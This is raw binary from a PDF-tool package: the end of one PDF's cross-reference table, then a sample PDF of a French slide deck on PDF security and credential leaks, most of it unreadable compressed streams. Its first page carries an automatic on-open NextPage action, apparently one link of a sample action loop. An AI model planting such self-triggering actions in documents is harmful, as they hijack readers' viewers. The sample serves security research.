n 0000577530 00000 n 0000577710 00000 n 0000577894 00000 n 0000578090 00000 n 0000578286 00000 n 0000578483 00000 n 0000578680 00000 n 0000578878 00000 n 0000579076 00000 n 0000579267 00000 n 0000579585 00000 n 0000580099 00000 n 0000582157 00000 n 0000582225 00000 n 0000582293 00000 n 0000582513 00000 n 0000582738 00000 n 0000582932 00000 n 0000583116 00000 n 0000583310 00000 n 0000583504 00000 n 0000583697 00000 n 0000583891 00000 n 0000584085 00000 n 0000584279 00000 n 0000584473 00000 n 0000584667 00000 n 0000584861 00000 n 0000585054 00000 n 0000585248 00000 n 0000585442 00000 n 0000585635 00000 n 0000585828 00000 n 0000586021 00000 n 0000586203 00000 n 0000586383 00000 n 0000586567 00000 n 0000586763 00000 n 0000586959 00000 n 0000587156 00000 n 0000587353 00000 n 0000587551 00000 n 0000587749 00000 n 0000587940 00000 n 0000588334 00000 n 0000588800 00000 n 0000591386 00000 n 0000591549 00000 n 0000591617 00000 n 0000592509 00000 n 0000592577 00000 n 0000592802 00000 n 0000592996 00000 n 0000593180 00000 n 0000593374 00000 n 0000593568 00000 n 0000593761 00000 n 0000593955 00000 n 0000594149 00000 n 0000594343 00000 n 0000594537 00000 n 0000594731 00000 n 0000594925 00000 n 0000595118 00000 n 0000595312 00000 n 0000595506 00000 n 0000595699 00000 n 0000595892 00000 n 0000596085 00000 n 0000596267 00000 n 0000596447 00000 n 0000596631 00000 n 0000596827 00000 n 0000597023 00000 n 0000597220 00000 n 0000597417 00000 n 0000597615 00000 n 0000597813 00000 n 0000598004 00000 n 0000598381 00000 n 0000598847 00000 n 0000601401 00000 n 0000601469 00000 n 0000601604 00000 n 0000601838 00000 n 0000602088 00000 n 0000602313 00000 n 0000602507 00000 n 0000602691 00000 n 0000602885 00000 n 0000603079 00000 n 0000603272 00000 n 0000603466 00000 n 0000603660 00000 n 0000603854 00000 n 0000604048 00000 n 0000604242 00000 n 0000604436 00000 n 0000604629 00000 n 0000604823 00000 n 0000605017 00000 n 0000605210 00000 n 0000605403 00000 n 0000605596 00000 n 0000605778 00000 n 0000605958 00000 n 0000606142 00000 n 0000606338 00000 n 0000606534 00000 n 0000606731 00000 n 0000606928 00000 n 0000607126 00000 n 0000607324 00000 n 0000607515 00000 n 0000607893 00000 n 0000608375 00000 n 0000610966 00000 n 0000611034 00000 n 0000611230 00000 n 0000611426 00000 n 0000611622 00000 n 0000611818 00000 n 0000612012 00000 n 0000612207 00000 n 0000612432 00000 n 0000612626 00000 n 0000612810 00000 n 0000613004 00000 n 0000613198 00000 n 0000613391 00000 n 0000613585 00000 n 0000613779 00000 n 0000613973 00000 n 0000614167 00000 n 0000614361 00000 n 0000614555 00000 n 0000614748 00000 n 0000614942 00000 n 0000615136 00000 n 0000615329 00000 n 0000615522 00000 n 0000615715 00000 n 0000615897 00000 n 0000616077 00000 n 0000616261 00000 n 0000616457 00000 n 0000616653 00000 n 0000616850 00000 n 0000617047 00000 n 0000617245 00000 n 0000617443 00000 n 0000617634 00000 n 0000617935 00000 n 0000618450 00000 n 0000620477 00000 n 0000620545 00000 n 0000620614 00000 n 0000620683 00000 n 0000620879 00000 n 0000621075 00000 n 0000621271 00000 n 0000621468 00000 n 0000621663 00000 n 0000621859 00000 n 0000622085 00000 n 0000622280 00000 n 0000622465 00000 n 0000622660 00000 n 0000622855 00000 n 0000623049 00000 n 0000623244 00000 n 0000623439 00000 n 0000623634 00000 n 0000623829 00000 n 0000624024 00000 n 0000624219 00000 n 0000624413 00000 n 0000624608 00000 n 0000624803 00000 n 0000624997 00000 n 0000625191 00000 n 0000625385 00000 n 0000625568 00000 n 0000625749 00000 n 0000625934 00000 n 0000626131 00000 n 0000626328 00000 n 0000626526 00000 n 0000626724 00000 n 0000626923 00000 n 0000627122 00000 n 0000627314 00000 n 0000627633 00000 n 0000628182 00000 n 0000630214 00000 n 0000630284 00000 n 0000630354 00000 n 0000630580 00000 n 0000630775 00000 n 0000630960 00000 n 0000631155 00000 n 0000631350 00000 n 0000631544 00000 n 0000631739 00000 n 0000631934 00000 n 0000632129 00000 n 0000632324 00000 n 0000632519 00000 n 0000632714 00000 n 0000632908 00000 n 0000633103 00000 n 0000633298 00000 n 0000633492 00000 n 0000633686 00000 n 0000633880 00000 n 0000634063 00000 n 0000634244 00000 n 0000634429 00000 n 0000634626 00000 n 0000634823 00000 n 0000635021 00000 n 0000635219 00000 n 0000635418 00000 n 0000635617 00000 n 0000635809 00000 n 0000636220 00000 n 0000636718 00000 n 0000639713 00000 n 0000639783 00000 n 0000639980 00000 n 0000640177 00000 n 0000640374 00000 n 0000640571 00000 n 0000640766 00000 n 0000640962 00000 n 0000641188 00000 n 0000641383 00000 n 0000641568 00000 n 0000641763 00000 n 0000641958 00000 n 0000642152 00000 n 0000642347 00000 n 0000642542 00000 n 0000642737 00000 n 0000642932 00000 n 0000643127 00000 n 0000643322 00000 n 0000643516 00000 n 0000643711 00000 n 0000643906 00000 n 0000644100 00000 n 0000644294 00000 n 0000644488 00000 n 0000644671 00000 n 0000644852 00000 n 0000645037 00000 n 0000645234 00000 n 0000645431 00000 n 0000645629 00000 n 0000645827 00000 n 0000646026 00000 n 0000646225 00000 n 0000646417 00000 n 0000646736 00000 n 0000647288 00000 n 0000649318 00000 n 0000649388 00000 n 0000649458 00000 n 0000649684 00000 n 0000649879 00000 n 0000650064 00000 n 0000650259 00000 n 0000650454 00000 n 0000650648 00000 n 0000650843 00000 n 0000651038 00000 n 0000651233 00000 n 0000651428 00000 n 0000651623 00000 n 0000651818 00000 n 0000652012 00000 n 0000652207 00000 n 0000652402 00000 n 0000652596 00000 n 0000652790 00000 n 0000652984 00000 n 0000653167 00000 n 0000653348 00000 n 0000653533 00000 n 0000653730 00000 n 0000653927 00000 n 0000654125 00000 n 0000654323 00000 n 0000654522 00000 n 0000654721 00000 n 0000654913 00000 n 0000655275 00000 n 0000655774 00000 n 0000658427 00000 n 0000658497 00000 n 0000658618 00000 n 0000658688 00000 n 0000658914 00000 n 0000659109 00000 n 0000659294 00000 n 0000659489 00000 n 0000659684 00000 n 0000659878 00000 n 0000660073 00000 n 0000660268 00000 n 0000660463 00000 n 0000660658 00000 n 0000660853 00000 n 0000661048 00000 n 0000661242 00000 n 0000661437 00000 n 0000661632 00000 n 0000661826 00000 n 0000662020 00000 n 0000662214 00000 n 0000662397 00000 n 0000662578 00000 n 0000662763 00000 n 0000662960 00000 n 0000663157 00000 n 0000663355 00000 n 0000663553 00000 n 0000663752 00000 n 0000663951 00000 n 0000664143 00000 n 0000664521 00000 n 0000665020 00000 n 0000668024 00000 n 0000668094 00000 n 0000668164 00000 n 0000668390 00000 n 0000668585 00000 n 0000668770 00000 n 0000668965 00000 n 0000669160 00000 n 0000669354 00000 n 0000669549 00000 n 0000669744 00000 n 0000669939 00000 n 0000670134 00000 n 0000670329 00000 n 0000670524 00000 n 0000670718 00000 n 0000670913 00000 n 0000671108 00000 n 0000671302 00000 n 0000671496 00000 n 0000671690 00000 n 0000671873 00000 n 0000672054 00000 n 0000672239 00000 n 0000672436 00000 n 0000672633 00000 n 0000672831 00000 n 0000673029 00000 n 0000673228 00000 n 0000673427 00000 n 0000673619 00000 n 0000673906 00000 n 0000674405 00000 n 0000677487 00000 n 0000677653 00000 n 0000677723 00000 n 0000686692 00000 n 0000686918 00000 n 0000687113 00000 n 0000687298 00000 n 0000687493 00000 n 0000687688 00000 n 0000687882 00000 n 0000688077 00000 n 0000688272 00000 n 0000688467 00000 n 0000688662 00000 n 0000688857 00000 n 0000689052 00000 n 0000689246 00000 n 0000689441 00000 n 0000689636 00000 n 0000689830 00000 n 0000690024 00000 n 0000690218 00000 n 0000690401 00000 n 0000690582 00000 n 0000690767 00000 n 0000690964 00000 n 0000691161 00000 n 0000691359 00000 n 0000691557 00000 n 0000691756 00000 n 0000691955 00000 n 0000692147 00000 n 0000692536 00000 n 0000693033 00000 n 0000695525 00000 n 0000695595 00000 n 0000695984 00000 n 0000696325 00000 n 0000696357 00000 n 0000696388 00000 n 0000696419 00000 n 0000696996 00000 n 0000697509 00000 n 0000698111 00000 n 0000698460 00000 n 0000698779 00000 n 0000699445 00000 n 0000700092 00000 n 0000700535 00000 n 0000701196 00000 n 0000701650 00000 n 0000702341 00000 n 0000708324 00000 n 0000708693 00000 n 0000710360 00000 n 0000710615 00000 n 0000720853 00000 n 0000721407 00000 n 0000728863 00000 n 0000729287 00000 n 0000738417 00000 n 0000738927 00000 n 0000745153 00000 n 0000745536 00000 n 0000755429 00000 n 0000755871 00000 n 0000761141 00000 n 0000761468 00000 n 0000764641 00000 n 0000764920 00000 n 0000768212 00000 n 0000768498 00000 n 0000770483 00000 n 0000770787 00000 n 0000772121 00000 n 0000772385 00000 n 0000773740 00000 n 0000774005 00000 n 0000784314 00000 n 0000784742 00000 n 0000794065 00000 n 0000794494 00000 n 0000799374 00000 n 0000799669 00000 n 0000799776 00000 n 0000799864 00000 n 0000800078 00000 n 0000800301 00000 n 0000800523 00000 n 0000800746 00000 n 0000800958 00000 n 0000801179 00000 n 0000801375 00000 n 0000801558 00000 n 0000801742 00000 n 0000801926 00000 n 0000802084 00000 n 0000802222 00000 n 0000802348 00000 n 0000802441 00000 n 0000802487 00000 n 0000802635 00000 n trailer << /Size 1294 /Root 1305 0 R /Info 1306 0 R /ID [ ] >> startxref 803059 %%EOF origami-pdf-1.2.7/samples/actions/loop/loopnamed_sample.pdf0000644000175000017500000312304312122110015024207 0ustar terceiroterceiro%PDF-1.4 1 0 obj << >> endobj 2 0 obj << >> endobj 3 0 obj << /pgfprgb [ /Pattern /DeviceRGB ] >> endobj 12 0 obj << /S /GoTo /D (Outline0.1) >> endobj 13 0 obj << /D [ 276 0 R /XYZ 28.346 246.281 null ] >> endobj 14 0 obj << /Title 15 0 R /A 12 0 R /Parent 1289 0 R /Next 18 0 R >> endobj 15 0 obj (PDF pour les nuls \(en 1 slide\)) endobj 16 0 obj << /S /GoTo /D (Outline0.2) >> endobj 17 0 obj << /D [ 488 0 R /XYZ 28.346 246.281 null ] >> endobj 18 0 obj << /Title 19 0 R /A 16 0 R /Parent 1289 0 R /Prev 14 0 R /Next 22 0 R >> endobj 19 0 obj (Le PDF, c'est dynamique !) endobj 20 0 obj << /S /GoTo /D (Outline0.3) >> endobj 21 0 obj << /D [ 631 0 R /XYZ 28.346 246.281 null ] >> endobj 22 0 obj << /Title 23 0 R /A 20 0 R /Parent 1289 0 R /Prev 18 0 R /Next 34 0 R /First 26 0 R /Last 30 0 R /Count 2 >> endobj 23 0 obj (Adobe et PDF) endobj 24 0 obj << /S /GoTo /D (Outline0.3.1.12) >> endobj 25 0 obj << /D [ 673 0 R /XYZ 28.346 246.281 null ] >> endobj 26 0 obj << /Title 27 0 R /A 24 0 R /Parent 22 0 R /Next 30 0 R >> endobj 27 0 obj (Adobe Reader) endobj 28 0 obj << /S /GoTo /D (Outline0.3.2.17) >> endobj 29 0 obj << /D [ 850 0 R /XYZ 28.346 246.281 null ] >> endobj 30 0 obj << /Title 31 0 R /A 28 0 R /Parent 22 0 R /Prev 26 0 R >> endobj 31 0 obj (Le plug-in web d'Adobe Reader) endobj 32 0 obj << /S /GoTo /D (Outline0.4) >> endobj 33 0 obj << /D [ 992 0 R /XYZ 28.346 246.281 null ] >> endobj 34 0 obj << /Title 35 0 R /A 32 0 R /Parent 1289 0 R /Prev 22 0 R /First 38 0 R /Last 42 0 R /Count 2 >> endobj 35 0 obj (Les origamis contre-attaquent : fuite de credentials) endobj 36 0 obj << /S /GoTo /D (Outline0.4.1.22) >> endobj 37 0 obj << /D [ 1032 0 R /XYZ 28.346 246.281 null ] >> endobj 38 0 obj << /Title 39 0 R /A 36 0 R /Parent 34 0 R /Next 42 0 R >> endobj 39 0 obj (Sur la toile) endobj 40 0 obj << /S /GoTo /D (Outline0.4.2.24) >> endobj 41 0 obj << /D [ 1103 0 R /XYZ 28.346 246.281 null ] >> endobj 42 0 obj << /Title 43 0 R /A 40 0 R /Parent 34 0 R /Prev 38 0 R >> endobj 43 0 obj (Dans un domaine Windows) endobj 44 0 obj << /S /GoTo /D [ 45 0 R /Fit ] >> endobj 45 0 obj << /Type /Page /Contents 83 0 R /Resources 82 0 R /MediaBox [ 0 0 362.835 272.126 ] /Trans << /S /R >> /Parent 90 0 R /Annots [ 57 0 R 58 0 R 59 0 R 60 0 R 61 0 R 62 0 R 63 0 R 64 0 R 65 0 R 66 0 R 67 0 R 68 0 R 69 0 R 70 0 R 71 0 R 72 0 R 73 0 R 74 0 R 75 0 R 76 0 R 77 0 R 78 0 R 79 0 R 80 0 R 81 0 R ] /AA << /O << /N /NextPage /S /Named >> >> >> endobj 46 0 obj << /Type /XObject /Subtype /Form /BBox [ 0 0 362.835 3.985 ] /FormType 1 /Matrix [ 1 0 0 1 0 0 ] /Resources 91 0 R /Length 15 /Filter /FlateDecode >>stream xP( endstream endobj 52 0 obj << /Type /XObject /Subtype /Form /BBox [ 0 0 5669.291 8 ] /FormType 1 /Matrix [ 1 0 0 1 0 0 ] /Resources 94 0 R /Length 15 /Filter /FlateDecode >>stream xP( endstream endobj 53 0 obj << /Type /XObject /Subtype /Form /BBox [ 0 0 8 8 ] /FormType 1 /Matrix [ 1 0 0 1 0 0 ] /Resources 92 0 R /Length 15 /Filter /FlateDecode >>stream xP( endstream endobj 54 0 obj << /Type /XObject /Subtype /Form /BBox [ 0 0 16 16 ] /FormType 1 /Matrix [ 1 0 0 1 0 0 ] /Resources 93 0 R /Length 15 /Filter /FlateDecode >>stream xP( endstream endobj 55 0 obj << /Type /XObject /Subtype /Form /FormType 1 /PTEX.FileName (./figs/logo-ESEC.pdf) /PTEX.PageNumber 1 /PTEX.InfoDict 95 0 R /BBox [ 0 0 104 105 ] /Resources << /ProcSet [ /PDF /ImageB /ImageC /ImageI ] /ExtGState << /Gs1 96 0 R >> /XObject << /Im1 97 0 R >> >> /Length 68 /Filter /FlateDecode >>stream x+TT(T0BC 6U(JUWSw/6TH/J5Yɹ \.@ endstream endobj 56 0 obj << /Type /XObject /Subtype /Form /FormType 1 /PTEX.FileName (./figs/misc_logo_600.pdf) /PTEX.PageNumber 1 /PTEX.InfoDict 103 0 R /BBox [ 0 0 601 239 ] /Resources << /ProcSet [ /PDF /ImageB /ImageC /ImageI ] /ExtGState << /Gs1 104 0 R >> /XObject << /Im1 105 0 R >> >> /Length 73 /Filter /FlateDecode >>stream x+TT(T0B3C#cKTp<}bCbH(i`ghnlds=s \f endstream endobj 57 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 232.399 5.96 240.369 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation1) >> >> endobj 58 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 1 0 0 ] /Rect [ 238.376 5.96 248.339 15.425 ] /Subtype /Link /A << /S /Named /N /GoToPage >> >> endobj 59 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 246.346 5.96 254.316 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation2) >> >> endobj 60 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 253.735 5.96 260.708 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation1) >> >> endobj 61 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 258.716 5.96 265.69 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation1) >> >> endobj 62 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 263.697 5.96 270.671 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation1) >> >> endobj 63 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 268.679 5.96 275.652 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation2) >> >> endobj 64 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 275.071 5.96 282.044 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation1) >> >> endobj 65 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 280.052 5.96 287.026 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation1) >> >> endobj 66 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 285.033 5.96 292.007 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation4) >> >> endobj 67 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 290.014 5.96 296.988 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation5) >> >> endobj 68 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 296.406 5.96 303.38 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation1) >> >> endobj 69 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 301.388 5.96 308.362 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation1) >> >> endobj 70 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 306.369 5.96 313.343 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation4) >> >> endobj 71 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 311.35 5.96 318.324 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation5) >> >> endobj 72 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 317.742 5.96 328.701 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation1) >> >> endobj 73 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 326.709 5.96 339.66 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation28) >> >> endobj 74 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 1 0 0 ] /Rect [ 339.078 5.96 348.045 15.425 ] /Subtype /Link /A << /S /Named /N /GoBack >> >> endobj 75 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 1 0 0 ] /Rect [ 346.052 5.96 354.022 15.425 ] /Subtype /Link /A << /S /Named /N /Find >> >> endobj 76 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 1 0 0 ] /Rect [ 352.03 5.96 360.996 15.425 ] /Subtype /Link /A << /S /Named /N /GoForward >> >> endobj 77 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ -0.996 264.495 182.414 271.878 ] /Subtype /Link /A << /S /GoTo /D (Navigation5) >> >> endobj 78 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ -0.996 259.104 182.414 266.488 ] /Subtype /Link /A << /S /GoTo /D (Navigation7) >> >> endobj 79 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ -0.996 253.713 182.414 261.097 ] /Subtype /Link /A << /S /GoTo /D (Navigation11) >> >> endobj 80 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ -0.996 248.323 182.414 255.706 ] /Subtype /Link /A << /S /GoTo /D (Navigation21) >> >> endobj 81 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 182.753 -0.996 291.642 5.96 ] /Subtype /Link /A << /S /GoTo /D (Navigation28) >> >> endobj 82 0 obj << /ColorSpace 3 0 R /Pattern 2 0 R /ExtGState 1 0 R /Font << /F26 84 0 R /F38 85 0 R /F39 87 0 R >> /XObject << /Fm1 46 0 R /Fm3 53 0 R /Fm4 54 0 R /Fm2 52 0 R /Im5 55 0 R /Im6 56 0 R >> /ProcSet [ /PDF /Text ] >> endobj 83 0 obj << /Length 1914 /Filter /FlateDecode >>stream xZo5_a^Eb H@I$(r)r {޽rWQ)zf<8UPpGހZn$BzVHmJ2Ƣ5m+n1f_TZp(mAcP. )*-Eɑ# iAZGbܹ;k#KaoE}T'V"5FhL"o!+ ʐc)}>5n?1 ݷ1ҡ5 2V> B2iȘ>W5Ic<>ߛIԔ[NEKзPԝrDIzsW1;uHiCe!{c~%nD<9,RI9PŶń?߃B ^ bE=I%OV/Bu$pJPyp4x8#c~̮֘grgPω+|F#O.$#YL <֎zkE͔_VAz 5ҲF+B_zAUcQO%o*PHgJyzť&Q 3"HX>LpkG䀖$֥6wb= "D-ϭ>42Vcx"kZhHgMlPӄy9%:ڔ?܍iזy $-fC1R0nS_mE2m']fəq.v`8m\{qvvt\v)]wrq@?|l@#E|}蒚9,&3w~KFi ^j'ϫZ? ؞0Ztл{V UCe@׻[6ޠm|~5]4YiWZ6ճs_t:ށ Q2֌e/βs_ma-X>mdbk( )]e"Vլ R;Xؿ~iiA,0v3lJV\9F?-1Ⱥ6 4()Ғ,R_ 5 XQnF[T3/fnMI֫bLҴItyDh7Ǧb+Njs*ӈ'.Je?"_C$[P5ChO7]jןGO3:7ЌcSQS.R^o>ۃ#pbMp bpjڈY@9Ј6fh3éicc.I0f+[bdQ}[|5sd,I^sŒ<l`K='a*в$s+ogu .Mh|+ /ݍ'$s:ׂF="`WPƂNAdyV蔧 ÜLS _Z[WqZ 7 6ErWc/yw_U=`)$)PNlxC=L%Kx\_\rfE H^Fю@3Ea/VV)l =d%.oa#oӄw\^NZ&u7x U-Q,-_?&oq"P,WO{ȧNhJ~aU_: Dz{t21Efc^?X ~S@TՐ6>{,1#Eeu7C*_ {<OOu~5|(p=ݎv[a e endstream endobj 84 0 obj << /Type /Font /Subtype /Type1 /BaseFont /WHGCLT+CMSS8 /FontDescriptor 1265 0 R /FirstChar 11 /LastChar 123 /Widths 1255 0 R >> endobj 85 0 obj << /Type /Font /Subtype /Type1 /BaseFont /WMFGHX+CMSSI8 /FontDescriptor 1275 0 R /FirstChar 45 /LastChar 117 /Widths 1254 0 R >> endobj 86 0 obj << /D [ 45 0 R /XYZ 28.346 246.281 null ] >> endobj 87 0 obj << /Type /Font /Subtype /Type1 /BaseFont /NDGAHU+CMSS12 /FontDescriptor 1263 0 R /FirstChar 11 /LastChar 122 /Widths 1253 0 R >> endobj 88 0 obj << /D [ 45 0 R /XYZ 334.488 1.245 null ] >> endobj 89 0 obj << /D [ 45 0 R /XYZ 334.488 1.245 null ] >> endobj 90 0 obj << /Count 6 /Kids [ 45 0 R 152 0 R 203 0 R 241 0 R 276 0 R 309 0 R ] /Type /Pages /Parent 1288 0 R >> endobj 91 0 obj << /Shading << /Sh << /ShadingType 2 /ColorSpace /DeviceRGB /Domain [ 0 1 ] /Coords [ 0 0 0 3.9851 ] /Function << /FunctionType 2 /Domain [ 0 1 ] /C0 [ 1 1 1 ] /C1 [ 0.5 0.5 0.5 ] /N 1 >> /Extend [ false false ] >> >> /ProcSet [ /PDF ] >> endobj 92 0 obj << /Shading << /Sh << /ShadingType 3 /ColorSpace /DeviceRGB /Domain [ 0 1 ] /Coords [ 4.00005 4.00005 0 4.00005 4.00005 4.00005 ] /Function << /FunctionType 2 /Domain [ 0 1 ] /C0 [ 0.5 0.5 0.5 ] /C1 [ 1 1 1 ] /N 1 >> /Extend [ true false ] >> >> /ProcSet [ /PDF ] >> endobj 93 0 obj << /Shading << /Sh << /ShadingType 3 /ColorSpace /DeviceRGB /Domain [ 0 8.00009 ] /Coords [ 8.00009 8.00009 0 8.00009 8.00009 8.00009 ] /Function << /FunctionType 3 /Domain [ 0 8.00009 ] /Functions [ << /FunctionType 2 /Domain [ 0 8.00009 ] /C0 [ 0.5 0.5 0.5 ] /C1 [ 0.5 0.5 0.5 ] /N 1 >> << /FunctionType 2 /Domain [ 0 8.00009 ] /C0 [ 0.5 0.5 0.5 ] /C1 [ 1 1 1 ] /N 1 >> ] /Bounds [ 4.00005 ] /Encode [ 0 1 0 1 ] >> /Extend [ true false ] >> >> /ProcSet [ /PDF ] >> endobj 94 0 obj << /Shading << /Sh << /ShadingType 2 /ColorSpace /DeviceRGB /Domain [ 0 8.00009 ] /Coords [ 0 0 0 8.00009 ] /Function << /FunctionType 3 /Domain [ 0 8.00009 ] /Functions [ << /FunctionType 2 /Domain [ 0 8.00009 ] /C0 [ 1 1 1 ] /C1 [ 0.5 0.5 0.5 ] /N 1 >> << /FunctionType 2 /Domain [ 0 8.00009 ] /C0 [ 0.5 0.5 0.5 ] /C1 [ 0.5 0.5 0.5 ] /N 1 >> ] /Bounds [ 4.00005 ] /Encode [ 0 1 0 1 ] >> /Extend [ false false ] >> >> /ProcSet [ /PDF ] >> endobj 95 0 obj << /Producer (Mac OS X 10.5.7 Quartz PDFContext) /CreationDate (D:20090525122120Z00'00') /ModDate (D:20090525122120Z00'00') >> endobj 96 0 obj << /Type /ExtGState /OPM 1 >> endobj 97 0 obj << /Length 3542 /Type /XObject /Subtype /Image /Width 103 /Height 104 /ColorSpace 100 0 R /BitsPerComponent 8 /Filter /FlateDecode >>stream x\v8 ̝rwʝN!!H,\=C  o!0FW.ߟ{ ].c)tJ?Vh< [_0*Xa"_I].~z@<VB5F Z1c_=%V.{w']+`碟g.×\ .9(wջX !Wxq"nJ@Ĵ9oa9S9K* ջ,bh^JAWNsb@ dEJjπK &i{6 ҦB @ɹf^%v.0ǐD!W (%>XףX8C/t֊6NɊd 8wjrK̏s &[_$DRyZ_+ a=$.=npߔk{i˖DU_w||':@AVƊ%wĒUCKXm.9;m,WD8lƳ F^uV:Sv$gb1`f]M[6IVNRmݙ Bmu2n֣1 S[lt\ǐ&:)q{Wi'+3/CWm33ݦb";ZeߊĽy ®4cgdܸ efGpIh)tO#)LHdcM3L&5?x)Dj9~z|MAوb/l sq[Jn_0D;gHE4sgij >>Ο:_bQ̡Z^1 J3ª! Yi! X^IjOO }A5pcK*\ vSR2$/:O J٫#&,NJ뽼2GASm9ħVyUjpaBXނf%]@u wXȥl8>tG^sq8E<_l>ĥ.z;^EgwA٬&PWR Xe=?dH:E7 i8@1ҷ4(ڵu'oNR߮Wn6v o}0xm4@ok }2;LPO6Y}zM;ɞ[,? tԮ(Y'KҍbA vC۩{:kmv+6X nB3R;fVg.6JO?}79N8NiFfnQHKQFo3sU9ot.'`$\&?u`܎efd_$FYíͲ^8CFa]@6@QHdN4%}=_r_ߟQnb(-/]113#\Wf7HRum420HD'r]{32| wјY27Q#w7,/!2`KsٯHD*vS}O9Z/~/caQSg@;ڴtѷx4 Gh4Nu0=~(9"RG0-OCfEuPmK~U9I#eja=U=w]GGBKrGo {ts:q7qܫbi'Dq~m X߉:k!j- sAFLq2I0PZQ"̧ p24Q]~ }=I̯5idi٢eʘd۶BGPp>;Q ƸbOeD%9/2ahP&2a88e^5@.<[@b gaK/٨~L =my1ȍƊB,vl1odM) rxk] :byxLN,yFrήu,YX>4! }=ڙY푯y\!]czInb42QS Z6ٌ؄f#;#w - ńW&L^Q뺣NP%`G)6#縣u6b58aķ*h&VR{Rt!^ŞwߨiT!@`1J28M?#bXMl3Õ:V,wK]r{^:0*Ѳ=[m SuNEb`6$`#Vk 3k[ˁrͬ']ɜ|/`Ī4z|$r3߂N'7~L^RЧ2zw!KC? m. endstream endobj 98 0 obj 68 endobj 99 0 obj 3542 endobj 100 0 obj [ /ICCBased 101 0 R ] endobj 101 0 obj << /Length 792 /N 3 /Alternate /DeviceRGB /Filter /FlateDecode >>stream xMHaї$T& R+SeL b}wg-E"u.VDNC:DuE^";cT03y|URcE4`λޘvztLUF\)s:k-iYj6|vP4*wd>,y vڴ=S԰79 ڸ@`ӋmvUl5`P=Gj)kP*}6~^/~.~a2 nײ0%f|U 9l7?j`l7"tiNf]?uhgM Zʲ4i[&LY_x {xO$̥߬S]%֧&7g̞>r=g8`候 8rʶ<dWT'<eL~.u"A=9뗚]>313X3-$e}u,gmg664$ыEzL*LZ_j_]Xy[?Xs N/ ]|msϚƫk_WfȸA2)oz-di2|m٣j|5ԥej8ɮeE7[Q|IM%ײxf)|6\ k`Ҳ䍐.> endobj 104 0 obj << /Type /ExtGState /OPM 1 >> endobj 105 0 obj << /Length 76635 /Type /XObject /Subtype /Image /Width 600 /Height 238 /ColorSpace 108 0 R /BitsPerComponent 8 /Filter /FlateDecode >>stream x}G0DrΙABF(4"c kq&~g;j`5MMu]Uϭ{o'J@(QD % J@(QD % J@(QD % J@(QD % J@(QD % J@(QD % J@(QD }IT{l߫<G?p(QD -HhC~@OS+'J@(Qs ʯa| r "0|+_(QD <2C6a-RheR'J@(Qw 0 $(FuبCD % J@/@޿1 ߏZ?c XQD %@N?ZvIQEoK8q??x!c%'J@(Q~;A 8s))}ۆ 8 '6/"%v&D J1: 0˟9q(0L~v 7z<-)U% J@s' wV1?Uz#{#A^$/YKm /EXj{SqqwL$ Ծs'D %𻒀~cf^Kړp]{mA6QwSί|5+1d+Q% J@(R ߎ_ؓ;xv3p*nco5g;V{GÄ!,% J@()+ qivCfcIjM?*x2ߪvR@jhZ)[w`D % Jx?tPkA{c?PiP}P!ͫ_Hd>D R\#g7 ڡs_/_~{ǶwyJ_ƾx_I?rzƞ ]r:Z*|Vs އCPHGW{4Ǟٍ9([W_hZ!5F.M(y.nۼ} V1BzϿ_F{oc]CO?TПC8W=F)F9VVq{Jr~nK=kC2%$_ 